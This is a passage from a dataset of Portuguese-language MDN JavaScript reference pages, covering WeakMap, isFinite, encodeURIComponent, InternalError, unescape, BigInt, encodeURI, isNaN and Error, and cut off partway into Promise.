depois.\n\n`WeakMap.prototype.get(key)`\n\nRetorna o valor associado à chave(`key`). Ou `undefined` se não houver.\n\n`WeakMap.prototype.has(key)`\n\nRetorna um boolean afirmando se um valor foi associado à chave(`key`) no objeto `WeakMap` ou não.\n\n`WeakMap.prototype.set(key, value)`\n\nDefine o valor(`value`) da chave(`key`) no objeto `WeakMap`. Retorna o objeto `WeakMap`.\n\nExemplos\n--------\n\n### Exemplo: Usando `WeakMap`\n\n\n```js\nvar wm1 = new WeakMap(),\n  wm2 = new WeakMap(),\n  wm3 = new WeakMap();\nvar o1 = {},\n  o2 = function () {},\n  o3 = window;\n\nwm1.set(o1, 37);\nwm1.set(o2, \"azerty\");\nwm2.set(o1, o2); // um valor pode ser qualquer coisa, incluindo um objeto or uma função\nwm2.set(o3, undefined);\nwm2.set(wm1, wm2); // chaves e valores pode ser quaisquer objetos. Até mesmo WeakMaps!\n\nwm1.get(o2); // \"azerty\"\nwm2.get(o2); // undefined, pois não existe valor para o2 em wm2\nwm2.get(o3); // undefined, pois este é o valor definido\n\nwm1.has(o2); // true\nwm2.has(o2); // false\nwm2.has(o3); // true (mesmo se o valor armazenado for 'undefined')\n\nwm3.set(o1, 37);\nwm3.get(o1); // 37\nwm3.clear();\nwm3.get(o1); // undefined, pois wm3 foi 'limpado' e não há mais valor para o1.\n\nwm1.has(o1); // true\nwm1.delete(o1);\nwm1.has(o1); // false\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-weakmap-objects |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* WeakMap bug at Mozilla\n* Hiding Implementation Details with ECMAScript 2015 WeakMaps\n* `Map`\n* `Set`\n* `WeakSet`"}
{"title":"isFinite() - JavaScript","text":"isFinite()\n==========\n\n`A função global isFinite()` determina se o valor transmitido é um número finito. Se necessário, o parâmetro é primeiro convertido a um número.\n\nSintaxe\n-------\n```\n\nisFinite(testValue)\n```\n\n### Parametros\n\n`testValue`\n\nO valor a ser testado para a finitude\n\nDescrição\n---------\n\n`isFinite` é uma função de nível superior é não é associada com qualquer objeto.\n\nVocê pode usar esta função para determinar se um número é um número finito. `A função isFinite` examina o número em seu argumento. Se o argumento é `NaN`, positivo infinito, ou negativo infinito, este método retorna `false`; de outra forma , ele retorna `true`.\n\nExemplos\n--------\n\n\n```js\nisFinite(Infinity); // false\nisFinite(NaN); // false\nisFinite(-Infinity); // false\n\nisFinite(0); // true\nisFinite(2e64); // true\nisFinite(null); // true\n\nisFinite(\"0\"); // true, teria sido false com o\n// mais robusto Number.isFinite(\"0\")\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-isfinite-number |\n\nBrowser compatibilidade\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Number.isFinite()`\n* `Number.NaN()`\n* `Number.POSITIVE_INFINITY`\n* `Number.NEGATIVE_INFINITY`"}
{"title":"encodeURIComponent() - JavaScript","text":"encodeURIComponent()\n====================\n\nO método **`encodeURIComponent()`** codifica uma URI (Identificador recurso uniforme) substituindo cada ocorrência de determinados caracteres por um, dois, três, ou quatro seqüências de escape que representam a codificação UTF-8 do caractere (só será quatro seqüências de escape para caracteres compostos por dois caracteres \"substituto\").\n\nSyntaxe\n-------\n```\n\nencodeURIComponent(str);\n```\n\n### Parâmetros\n\n`str`\n\nString. Uma sequência URI.\n\nDescrição\n---------\n\n`encodeURIComponent` escapa todos os caracteres, exceto: alfabeto, dígitos decimais, `- _ . ! ~ * ' ( )`\n\nNote-se que um`URIError` (en-US) será gerada se uma tentativas para codificar um substituto que não faz parte de um par de alta-baixa, por exemplo,\n\n\n```js\n// high-low par ok\nconsole.log(encodeURIComponent(\"\\uD800\\uDFFF\"));\n\n// lone high surrogate throws \"URIError: malformed URI sequence\"\nconsole.log(encodeURIComponent(\"\\uD800\"));\n\n// lone low surrogate throws \"URIError: malformed URI sequence\"\nconsole.log(encodeURIComponent(\"\\uDFFF\"));\n```\n\n\nPara previnir requisões inesperadas ao servidor, deve-se chamar `encodeURIComponent` ou qualquer parâmetro fornecido pelo usuário que será passado como parte da URI. Por exemplo, um usuário poderia digitar \"`Thyme &time=again`\" para uma variável `commentario`. Ao não usar `encodeURIComponent` nessa variável irá ser obetido `commentario=Thyme%20&time=again`. Note que o ampersa e o sinal de igual marcam um novo par de chave e valor. Então ao invés de ter um POST com a chave `commentario` igual a \"`Thyme &time=again`\", tem-se chaves em POST, uma igual a \"`Thyme`\" e outra (`time`) igual a `again`.\n\nPara `application/x-www-form-urlencoded`, espaços são substituídos por '+', então pode-se querer seguir um `encodeURIComponent` substituição com uma substituição adicional de \"%20\" com \"+\".\n\nPara ser mais rigoroso à aderência da RFC 3986 (qual reserva !, ', (, ), e \\*), mesmo que esses caracteres não tenham usos formalizados de delimitação de URI, o seguinte pode ser usado com segurança:\n\n\n```js\nfunction ajustadoEncodeURIComponent(str) {\n  return encodeURIComponent(str).replace(/[!'()\\*]/g, function (c) {\n    return \"%\" + c.charCodeAt(0).toString(16);\n  });\n}\n```\n\nExemplos\n--------\n\nO exemplo seguinte provê o encoding especial requerido pelo UTF-8 nos parâmetros `Content-Disposition` e `Link` no cabeçalho de uma Response (e.g., UTF-8 filenames):\n\n\n```js\nvar fileName = \"my file(2).txt\";\nvar header =\n  \"Content-Disposition: attachment; filename\\*=UTF-8''\" +\n  encodeRFC5987ValueChars(fileName);\n\nconsole.log(header);\n// logs \"Content-Disposition: attachment; filename\\*=UTF-8''my%20file%282%29.txt\"\n\nfunction encodeRFC5987ValueChars(str) {\n  return (\n    encodeURIComponent(str)\n      // Note that although RFC3986 reserves \"!\", RFC5987 does not,\n      // so we do not need to escape it\n      .replace(/['()]/g, escape) // i.e., %27 %28 %29\n      .replace(/\\\\*/g, \"%2A\")\n      // The following are not required for percent-encoding per RFC5987,\n      // so we can allow for a little better readability over the wire: |`^\n      .replace(/%(?:7C|60|5E)/g, unescape)\n  );\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-encodeuricomponent-uricomponent |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `decodeURI`\n* `encodeURI`\n* `decodeURIComponent`"}
{"title":"InternalError - JavaScript","text":"InternalError\n=============\n\n**Non-standard:** This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.\n\nO **objeto** **`InternalError`** indica que um erro ocorreu internamente na engine do JavaScript.\n\nIsso ocorre quando algo é muito grande, por exemplo:\n\n* \"too many switch cases\",\n* \"too many parentheses in regular expression\",\n* \"array initializer too large\",\n* \"too much recursion\".\nConstrutor\n----------\n\n`InternalError()` (en-US)\n\nCria um um novo objeto `InternalError`.\n\nInstance properties\n-------------------\n\n`InternalError.prototype.message`\n\nError message. Inherited from `Error`.\n\n`InternalError.prototype.name`\n\nError name. Inherited from `Error`.\n\n`InternalError.prototype.fileName` (en-US)\n\nPath to file that raised this error. Inherited from `Error`.\n\n`InternalError.prototype.lineNumber` (en-US)\n\nLine number in file that raised this error. Inherited from `Error`.\n\n`InternalError.prototype.columnNumber` (en-US)\n\nColumn number in line that raised this error. Inherited from `Error`.\n\n`InternalError.prototype.stack` (en-US)\n\nStack trace. Inherited from `Error`.\n\nExamples\n--------\n\n### Too much recursion\n\nThis recursive function runs 10 times, as per the exit condition.\n\n\n```js\nfunction loop(x) {\n  if (x >= 10) {\n    // \"x >= 10\" is the exit condition\n    return;\n  }\n  // do stuff\n  loop(x + 1); // the recursive call\n}\nloop(0);\n```\n\n\nSetting this condition to an extremely high value, won't work:\n\n\n```js\nfunction loop(x) {\n  if (x >= 1000000000000) return;\n  // do stuff\n  loop(x + 1);\n}\nloop(0);\n\n// InternalError: too much recursion\n```\n\n\nFor more information, see InternalError: too much recursion.\n\nSpecifications\n--------------\n\nNot part of any standard.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* `Error`\n* InternalError: too much recursion"}
{"title":"unescape() - JavaScript","text":"unescape()\n==========\n\n**Deprecated:** This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.\n\nA função **unescape()** obsolta computa uma nova string na qual as sequencias hexadecimal são esquecidas com o caractere que representa. As sequências de escape podem ser introduzidas como funções `escape`. Porque a função 'unescape' está obsoleta, ao invez disso, use `decodeURI` ou `decodeURIComponent`.\n\n**Nota:** Não use `unescape` para decodificar URIs, use `decodeURI` ao invez disso.\n\nSyntax\n------\n```\n\nunescape(str)\n```\n\n### Parâmetros\n\n`str`\n\nUma string a ser decodificada.\n\n### Valor retornado\n\nUma nova string na qual alguns caracteres tem que ser 'unescaped'.\n\nDescrição\n---------\n\nA função `unescape` é uma propriedade do objeto global.\n\nExemplos\n--------\n\n\n```js\nunescape(\"abc123\"); // \"abc123\"\nunescape(\"%E4%F6%FC\"); // \"äöü\"\nunescape(\"%u0107\"); // \"ć\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-unescape-string |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `decodeURI`\n* `decodeURIComponent`\n* `escape`"}
{"title":"BigInt - JavaScript","text":"BigInt\n======\n\nBaseline Widely available\n-------------------------\n\nThis feature is well established and works across many devices and browser versions. It’s been available across browsers since September 2020.\n\n* Learn more\n* See full compatibility\n* Report feedback\n`BigInt` é um objeto nativo que fornece um modo de representar números inteiros maiores que 2^53, que é o maior número que o JavaScript consegue, com exatidão, representar com o tipo primitivo `Number`.\n\nSintaxe\n-------\n\n\n```js\nBigInt(value);\n```\n\n### Parâmetros\n\n`value`\n\nO valor numérico do objeto que está sendo criado. Pode ser uma *string* ou um número inteiro.\n\n\n**Nota:** **Observação**: `BigInt()` não é usado com o operador `new`.\n\nDescrição\n---------\n\nUm `BigInt` é criado com a acrescentação de `n` ao final de um inteiro literal — `10n` — ou chamando a função `BigInt()`.\n\n\n```js\nconst theBiggestInt = 9007199254740991n;\n\nconst alsoHuge = BigInt(9007199254740991);\n// ↪ 9007199254740991n\n\nconst hugeString = BigInt(\"9007199254740991\");\n// ↪ 9007199254740991n\n\nconst hugeHex = BigInt(\"0x1fffffffffffff\");\n// ↪ 9007199254740991n\n\nconst hugeBin = BigInt(\n  \"0b11111111111111111111111111111111111111111111111111111\",\n);\n// ↪ 9007199254740991n\n```\n\n\nIsso é parecido com um `Number` em algumas partes, mas difere-se em alguns assuntos importantes — ele não pode ser usado com métodos no objeto `Math` e não pode ser misturado em operações ou qualquer instância de `Number`.\n\n**Aviso:** `Number` e `BigInt` não podem ser misturados em operações — eles devem ser manipulados com o mesmo tipo.\n\nTenha cuidado com a conversão e desconversão de valores, visto que a precisão de `BigInt` pode ser perdida com a conversào para `Number`.\n\n### Informações do tipo\n\nQuando testado com `typeof` , um `BigInt` vai devolver \"bigint\":\n\n\n```js\ntypeof 1n === \"bigint\"; // true\ntypeof BigInt(\"1\") === \"bigint\"; // true\n```\n\n\nQuando envolvido em um `Object`, um `BigInt` vai ser considerado como um tipo normal de \"object\".\n\n\n```js\ntypeof Object(1n) === \"object\"; // true\n```\n\n### Operadores\n\nOs seguintes operadores podem ser usados com `BigInt`s (ou com `BigInt`s envolvidos em objetos): `+`, `*`, `-`, `**`, `%`.\n\n\n```js\nconst previousMaxSafe = BigInt(Number.MAX\\_SAFE\\_INTEGER);\n// ↪ 9007199254740991\n\nconst maxPlusOne = previousMaxSafe + 1n;\n// ↪ 9007199254740992n\n\nconst theFuture = previousMaxSafe + 2n;\n// ↪ 9007199254740993n, isso funciona agora!\n\nconst multi = previousMaxSafe \\* 2n;\n// ↪ 18014398509481982n\n\nconst subtr = multi – 10n;\n// ↪ 18014398509481972n\n\nconst mod = multi % 10n;\n// ↪ 2n\n\nconst bigN = 2n \\*\\* 54n;\n// ↪ 18014398509481984n\n\nbigN \\* -1n\n// ↪ –18014398509481984n\n```\n\n\nO operador `/` também funciona com o esperado com números inteiros. No entanto, desde que esses sejam `BigInt`s e não `BigDecimal`s, essa operação vai arredondar para 0, o que significa que não vai retornar qualquer valor fracional.\n\n**Aviso:** Uma operação com um resultado fracional será arredondado com `BigInt.`\n\n\n```js\nconst expected = 4n / 2n;\n// ↪ 2n\n\nconst rounded = 5n / 2n;\n// ↪ 2n, e não 2.5n\n```\n\n### Comparações\n\nUm `BigInt` não é estritamente igual a um `Number`, mas é mais ou menos assim.\n\n\n```js\n0n === 0;\n// ↪ false\n\n0n == 0;\n// ↪ true\n```\n\n\nUm `Number` e um `BigInt` podem ser comparado normalmente.\n\n\n```js\n1n < 2;\n// ↪ true\n\n2n > 1;\n// ↪ true\n\n2 > 2;\n// ↪ false\n\n2n > 2;\n// ↪ false\n\n2n >= 2;\n// ↪ true\n```\n\n\nEles podem ser misturados em *arrays* e ordenados.\n\n\n```js\nconst mixed = [4n, 6, -12n, 10, 4, 0, 0n];\n// ↪ [4n, 6, -12n, 10, 4, 0, 0n]\n\nmixed.sort();\n// ↪ [-12n, 0, 0n, 10, 4n, 4, 6]\n```\n\n\nObserve que comparações com `BigInt`s envolvidos em `Object` atuam com outros objetos, indicando somente a igualdade onde a mesma instância do objeto é comparada.\n\n\n```js\n0n === Object(0n); // false\nObject(0n) === Object(0n); // false\n\nconst o = Object(0n);\no === o; // true\n```\n\n### Condicionais\n\nA `BigInt` comporta-se como `Number` nos casos onde ele é convertido para um `Boolean`: através da função `Boolean`; quando usado com operadores lógicos `Logical Operators` (en-US) `||`, `&&`, e `!`; ou dentro de um teste condicional como um `if statement`.\n\n\n```js\nif (0n) {\n  console.log(\"Olá de um if!\");\n} else {\n  console.log(\"Olá de um else!\");\n}\n\n// ↪ \"Olá de um else!\"\n\n0n || 12n;\n// ↪ 12n\n\n0n && 12n;\n// ↪ 0n\n\nBoolean(0n);\n// ↪ false\n\nBoolean(12n);\n// ↪ true\n\n!12n;\n// ↪ false\n\n!0n;\n// ↪ true\n```\n\nMétodos\n-------\n\n**`BigInt.asIntN()`**\n\nLimita um BigInt entre -2expoente-1 e 2expoente-1-1\n\n`BigInt.asUintN()`\n\nLimita um BigInt entre 0 e 2expoente-1\n\nPropriedades\n------------\n\n`BigInt.prototype`\n\nPermite a adição de propriedades a um objeto `BigInt`.\n\nInstâncias `BigInt`\n-------------------\n\nTodas as instâncias `BigInt` são herdades de BigInt.prototype. O protótipo do objeto do construtor do BigInt pode ser modificado para afetar todas as instâncias de `BigInt`.\n\n### Métodos\n\n{{page('/pt-BR/docs/Web/JavaScript/Reference/Global\\_Objects/BigInt/prototype', 'Methods')}}Exemplos\n--------\n\n### Calculando números primos\n\n\n```js\nfunction isPrime(p) {\n  for (let i = 2n; i \\* i <= p; i++) {\n    if (p % i === 0n) return false;\n  }\n  return true;\n}\n\n// Toma um BigInt como argumento e retorna um BigInt\nfunction nthPrime(nth) {\n  let maybePrime = 2n;\n  let prime = 0n;\n\n  while (nth >= 0n) {\n    if (isPrime(maybePrime)) {\n      nth -= 1n;\n      prime = maybePrime;\n    }\n    maybePrime += 1n;\n  }\n\n  return prime;\n}\n\nnthPrime(20n);\n// ↪ 73n\n```"}
{"title":"encodeURI() - JavaScript","text":"encodeURI()\n===========\n\nA função **`encodeURI()`** codifica a URI substituindo cada instância de certos caracteres por um, dois, três ou quatro sequências de escape representando a codificação UTF-8 do caracter (será somente quatro sequências de escape para caracteres compostos de dois caracteres substitutos).\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nencodeURI(URI)\n```\n\n### Parâmetros\n\n`URI`\n\nUma URI completa.\n\n### Valor de retorno\n\nUma nova cadeia de caracteres representando a cadeia de caracteres provida, codificada como uma URI.\n\nDescrição\n---------\n\nA função `encodeURI()` não codifica caracteres que possuem significado especial (caracteres reservados) para a URI. O exemplo seguinte mostra todas as partes que o \"esquema\" da URI pode possivelmente conter. Note como certos caracteres são usados para dar significado especial:\n```\n\nhttp://username:password@www.example.com:80/path/to/file.php?foo=316&bar=this+has+spaces#anchor\n```\n\n\nConsequentemente, `encodeURI()` **não** codifica caracteres que são necessários para formular uma URI completa. Também, `encodeURI()` **não** codifica alguns caracteres adicionais, conhecidos como \"marcas não reservadas (unreserved marks)\", que não tem propósito reservado mas são permitidos na URI \"como são\". (Veja RFC2396)\n\n`encodeURI()` escapa todos os caracteres **exceto**:\n```\n\nNão escapado:\n\n    A-Z a-z 0-9 ; , / ? : @ & = + $ - _ . ! ~ * ' ( ) #\n```\n\nExemplos\n--------\n\n### encodeURI vs encodeURIComponent\n\n`encodeURI()` se difere de `encodeURIComponent()` como a seguir:\n\n\n```js\nvar set1 = \";,/?:@&=+$#\"; // Caracteres reservados\nvar set2 = \"-\\_.!~\\*'()\"; // Marcas não reservadas\nvar set3 = \"ABC abc 123\"; // Caracteres alfanuméricos + Espaço\n\nconsole.log(encodeURI(set1)); // ;,/?:@&=+$#\nconsole.log(encodeURI(set2)); // -\\_.!~\\*'()\nconsole.log(encodeURI(set3)); // ABC%20abc%20123 (o espaço é codificado como %20)\n\nconsole.log(encodeURIComponent(set1)); // %3B%2C%2F%3F%3A%40%26%3D%2B%24%23\nconsole.log(encodeURIComponent(set2)); // -\\_.!~\\*'()\nconsole.log(encodeURIComponent(set3)); // ABC%20abc%20123 (o espaço é codificado como %20)\n```\n\n\nNote que `encodeURI()` por si só não pode formar requisições `GET` e `POST`, como para `XMLHttpRequest`, porque `\"&\"`, `\"+\"`, e `\"=\"` não são codificados, que são tratados como caracteres especiais em requisições `GET` e `POST`. `encodeURIComponent()`, entretanto, codifica esses caracteres.\n\n### Codificando um substituto solitário alto joga\n\nUm `URIError` (en-US) será jogado se uma tentativa de codificar um substituto que não é parte de um par alto-baixo, e.g.,\n\n\n```js\n// par alto-baixo ok\nconsole.log(encodeURI(\"\\uD800\\uDFFF\"));\n\n// substituto alto solitário joga \"URIError: malformed URI sequence\"\nconsole.log(encodeURI(\"\\uD800\"));\n\n// substituto baixo solitário joga \"URIError: malformed URI sequence\"\nconsole.log(encodeURI(\"\\uDFFF\"));\n```\n\n### Codificando para IPv6\n\nSe você deseja seguir a RFC3986 mais recente para URLs, que faz colchetes ser reservado (para IPv6) e então não será codificado quando formando algo que possa ser parte da URL (como o host), o seguinte código pode ajudar:\n\n\n```js\nfunction fixedEncodeURI(str) {\n  return encodeURI(str).replace(/%5B/g, \"[\").replace(/%5D/g, \"]\");\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-encodeuri-uri |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `decodeURI()`\n* `encodeURIComponent()`\n* `decodeURIComponent()`"}
{"title":"isNaN() - JavaScript","text":"isNaN()\n=======\n\nA função **`isNaN()`** determina se o valor é `NaN` ou não. Tenha cuidado, o `cast` em `isNaN` tem regras para serem observadas. Você pode ficar interessado no `Number.isNaN()` que foi definido no ECMAScript 6 ou você pode usar `typeof` para determinar se o valor é Not-A-Number, `NaN`.\n\nExperimente\n-----------\n\nSyntaxe\n-------\n```\n\nisNaN(value)\n```\n\n### Parâmetros\n\n`value`\n\nO valor a ser testado.\n\n### Valor retornado\n\n**`true`** se o valor for `NaN`; otherwise, **`false`**.\n\nDescrição\n---------\n\n### A necessidade da função `isNaN`\n\nAo contrário de todas as outras possibilidades de valores no JavaScript, não é possivel confiar nos operadores de igualdade `(== e ===)` para determina se o valor é `NaN` ou não, porque ambos, `NaN == NaN` e `NaN === NaN`, terá como valor de retorno: `false`. Daí a necessidade da funçao `isNAN`.\n\n### Origem dos valores `NaN`\n\nOs valores `NaN` são gerados quando operações aritiméticas tem como valores: *undefined* ou *unrepresentable*. Como valores, não fazem necessariamente condições de estouro. `NaN` também resulta da tentativa de coerção para valores numéricos, de valores não numéricos, para que o valor numérico primitivo seja disponível.\n\nPor exemplo, divida zero por zero e o resultado será `NaN` , mas se dividir outros números por zero ele não será.\n\n### Comportamento confuso do caso especial\n\nDesde as primeiras versões da especificação da função isNaN , o seu comportamento para argumentos não numéricos tem sido confuso. Quando o argumento para a função `isNaN` não é do tipo\\* **Numbe**r\\*, o valor é primeiro convertido para um número. O valor resultante é em seguida testado para determinar se se trata de `Number.isNaN()`. Assim, para os não-números que quando forçados ao tipo numérico resultado em um valor numérico não-`NaN` válido (particularmente strings vazias e primitivas booleanas, que quando submetidas ao `cast` dão valores numéricos zero ou um), o \"falso\" valor retornado pode ser inesperado; a cadeia vazia , por exemplo, é certamente \"not-a-number\" A confusão decorre do fato de que o termo, \" não é um número \" , tem um significado específico para os números representados como valores de ponto flutuante IEEE- 794 . A função deve ser interpretada como respondendo à pergunta: \"este valor, quando convertido para um valor numérico, um valor IEEE -794 ' not-a-number\"?\n\nA ultima versão do ECMAScript (ES6) contém A função `Number.isNaN()`. `Number.isNaN(x)` será a real forma para testar se x é NaN ou não. Mesmo com `Number.isNaN`, porém, o significado de NaN continua ser a precisão numérica, e não simplesmente, \"não é um número = `NaN`, *not a number*\". Paralelamente , na expressão `Number.isNaN`, a expressão `(x != x)` é a forma mais confiável para testar se a variável `x` é `NaN` ou não, assim o resultado não é sujeito ao falso positivo que faz `isNaN` não ser confiável.\n\nA polyfill for `isNaN` would be (the polyfill leverages the unique never-equal-to-itself characteristic of `NaN`):\n\n\n```js\nvar isNaN = function (value) {\n  var n = Number(value);\n  return n !== n;\n};\n```\n\nExemplos\n--------\n\n\n```js\nisNaN(NaN); // true\nisNaN(undefined); // true\nisNaN({}); // true\n\nisNaN(true); // false\nisNaN(null); // false\nisNaN(37); // false\n\n// strings\nisNaN(\"37\"); // false: \"37\" is converted to the number 37 which is not NaN\nisNaN(\"37.37\"); // false: \"37.37\" is converted to the number 37.37 which is not NaN\nisNaN(\"\"); // false: the empty string is converted to 0 which is not NaN\nisNaN(\" \"); // false: a string with spaces is converted to 0 which is not NaN\n\n// dates\nisNaN(new Date()); // false\nisNaN(new Date().toString()); // true\n\n// Esse é um falso positivo e é a razão para isNaN não seja totalmente confiável.\nisNaN(\"blabla\"); // true: \"blabla\" é convertido para número.\n// A análise desse número falha e retorna NaN como resultado.\n```\n\n### Useful special-case behavior\n\nThere is a more usage oriented way to think of `isNaN()`: If `isNaN(x)` returns `false`, you can use `x` in an arithmetic expression not making the expression return `NaN`. If it returns `true`, `x` will make every arithmetic expression return `NaN`. This means that in JavaScript, `isNaN(x) == true` is equivalent to `x - 0` returning `NaN` (though in JavaScript `x - 0 == NaN` always returns false, so you can't test for it). Actually, `isNaN(x)`, `isNaN(x - 0)`, `isNaN(Number(x))`, `Number.isNaN(x - 0)`, and `Number.isNaN(Number(x))` always return the same and in JavaScript `isNaN(x)` is just the shortest possible form to express each of these terms.\n\nYou can use this, for example, to test whether an argument to a function is arithmetically processable (usable \"like\" a number), or if it's not and you have to provide a default value or something else. This way you can have a function that makes use of the full versatility JavaScript provides by implicitly converting values depending on context.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-isnan-number |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `NaN`\n* `Number.isNaN()`"}
{"title":"Error - JavaScript","text":"Error\n=====\n\nO construtor de **`Error`** cria um objeto de erro. Instâncias de objetos `Error` são lançadas quando erros de tempo de execução ocorrem. O objeto `Error` também pode ser usado como objeto base para exceções definidas pelo usuário. Veja abaixo tipos de erro padrões embutidos.\n\nSintaxe\n-------\n```\n\nnew Error([message[, fileName[, lineNumber]]])\n```\n\n### Parâmetros\n\n`message`\n\nOpcional. Descrição do erro legível para humanos.\n\n`fileName` \nNon-standard\n\nOpcional. O valor da propriedade `fileName` no objeto de erro criado. O padrão é o nome do arquivo contendo o código que chamou o construtor de `Error()`.\n\n`lineNumber` \nNon-standard\n\nOpcional. O valor da propriedade `lineNumber` no objeto de `Error` criado. O padrão é o número da linha contendo a invocação do construtor `Error()`.\n\nDescrição\n---------\n\nErros em tempo de execução resultam em novos objetos `Error` sendo criados e lançados.\n\nEsta página documenta o uso do objeto `Error` em si e seu uso como uma função construtora. Para uma lista de propriedades e métodos herdados por instâncias de `Error`, veja `Error.prototype` (en-US).\n\n### Tipos de erro\n\nAlém do construtor genérico de `Error`, existem outros seis construtores principais de erro no JavaScript. Para exceções em *client-side*, veja Exceções na captura de Instruções (en-US).\n\n`EvalError`\n\nCria uma instância representando um erro que ocorre na função global. `eval()`.\n\n`InternalError` \nNon-standard\n\nCria uma instância representando um erro que ocorre quando um erro interno na *engine* do JavaScript é lançado. Ex: \"too much recursion\".\n\n`RangeError` (en-US)\n\nCria uma instância representando um erro que ocorre quando um valor ou parâmetro numérico está fora de seus limites válidos.\n\n`ReferenceError`\n\nCria uma instância representando um erro que ocorre ao de-referenciar uma referência inválida.\n\n`SyntaxError` (en-US)\n\nCria uma instância representando um erro que ocorre ao fazer o *parse* do código em `eval()`.\n\n`TypeError`\n\nCria uma instância representando um erro que ocorre quando uma variável ou parâmetro não é de um tipo válido.\n\n`URIError` (en-US)\n\nCria uma instância representando um erro que ocorre quando são passados parâmetros inválidos para `encodeURI()` ou `decodeURI()`.\n\nPropriedades\n------------\n\n`Error.prototype` (en-US)\n\nPermite a criação de propriedades para instâncias de `Error`.\n\nMétodos\n-------\n\nO objeto `Error` global não contém métodos próprios, entretanto, ele herda alguns métodos através da cadeia de *prototypes*.\n\n`Instâncias de Error`\n---------------------\n\n{{page('pt-BR/docs/JavaScript/Reference/Global\\_Objects/Error/prototype', 'Description')}}### Propriedades\n\n{{page('pt-BR/docs/JavaScript/Reference/Global\\_Objects/Error/prototype', 'Properties')}}### Métodos\n\n{{page('pt-BR/docs/JavaScript/Reference/Global\\_Objects/Error/prototype', 'Methods')}}Exemplos\n--------\n\n### Lançando um erro genérico\n\nGeralmente você cria um objeto `Error` com a intenção de lançá-lo usando a palavra-chave `throw`. Você pode capturar o erro usando uma construção de `try...catch`:\n\n\n```js\ntry {\n  throw new Error(\"Oooops!\");\n} catch (e) {\n  alert(e.name + \": \" + e.message);\n}\n```\n\n### Capturando um erro específico\n\nVocê pode escolher por capturar apenas tipos de erro específicos testando o tipo do erro com a propriedade `constructor` de erro ou, se você está escrevendo para *engines* de JavaScript modernas, a palavra-chave `instanceof`:\n\n\n```js\ntry {\n  Objeto.Metodo();\n} catch (e) {\n  if (e instanceof EvalError) {\n    alert(e.name + \": \" + e.message);\n  } else if (e instanceof RangeError) {\n    alert(e.name + \": \" + e.message);\n  }\n  // ... etc\n}\n```\n\n### Tipos de erro customizados\n\nVocê pode escolher definir seus próprios tipos de erro derivando de `Error` para conseguir usar `throw new MeuErro()` e usar `instanceof MeuErro` para checar o tipo de erro na captura da exceção. A forma comum para isso está demonstrada abaixo\n\n**Aviso:** Note que as instâncias `MeuErro` lançadas vão reportar valores de `lineNumber` e `fileName` incorretos, ao menos no Firefox.\n\nVeja também \"esta discussão no Stackoverflow (em inglês): What's a good way to extend Error in JavaScript?\".\n\n\n```js\n// Cria um novo objeto que herda o construtor de Error através do prototype.\nfunction MeuErro(message) {\n  this.name = \"MeuErro\";\n  this.message = message || \"Mensagem de erro padrão\";\n  this.stack = new Error().stack;\n}\nMeuErro.prototype = Object.create(MeuErro.prototype);\nMeuErro.prototype.constructor = MeuErro;\n\ntry {\n  throw new MeuErro();\n} catch (e) {\n  console.log(e.name); // 'MeuErro'\n  console.log(e.message); // 'Mensagem de erro padrão'\n}\n\ntry {\n  throw new MeuErro(\"Mensagem customizada\");\n} catch (e) {\n  console.log(e.name); // 'MeuErro'\n  console.log(e.message); // 'Mensagem customizada'\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-error-objects |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Error.prototype` (en-US)\n* `throw`\n* `try...catch`"}
{"title":"Promise - JavaScript","text":"Promise\n=======\n\nO objeto **`Promise`** representa a eventual conclusão (ou falha) de uma operação assíncrona e seu valor resultante.\n\nPara saber como as promises funcionam e como você pode usá-las, recomendamos que você leia Usando promises primeiro.\n\nDescrição\n---------\n\nUma **`Promise`** é um proxy para um valor não necessariamente conhecido quando a promise é criada. Ele permite que você associe manipuladores ao valor de sucesso ou motivo de falha de uma ação assíncrona. Isso permite que métodos assíncronos retornem valores como métodos síncronos: em vez de retornar imediatamente o valor final, o método assíncrono retorna uma *promise* para fornecer o valor em algum momento no futuro.\n\nUma `Promise` está em um destes estados:\n\n* *pending*: estado inicial, nem cumprido nem rejeitado.\n* *fulfilled*: significa que a operação foi concluída com sucesso.\n* *rejected*: significa que a operação falhou.\n\n O *estado eventual* de uma promise pendente pode ser *fulfilled* com um valor ou *rejected* com um motivo (erro).\n Quando uma dessas opções ocorre, os manipuladores associados enfileirados pelo método `then` de uma promise são chamados. Se a promise já tiver sido cumprida ou rejeitada quando um manipulador correspondente for anexado, o manipulador será chamado, portanto, não há condição de corrida entre a 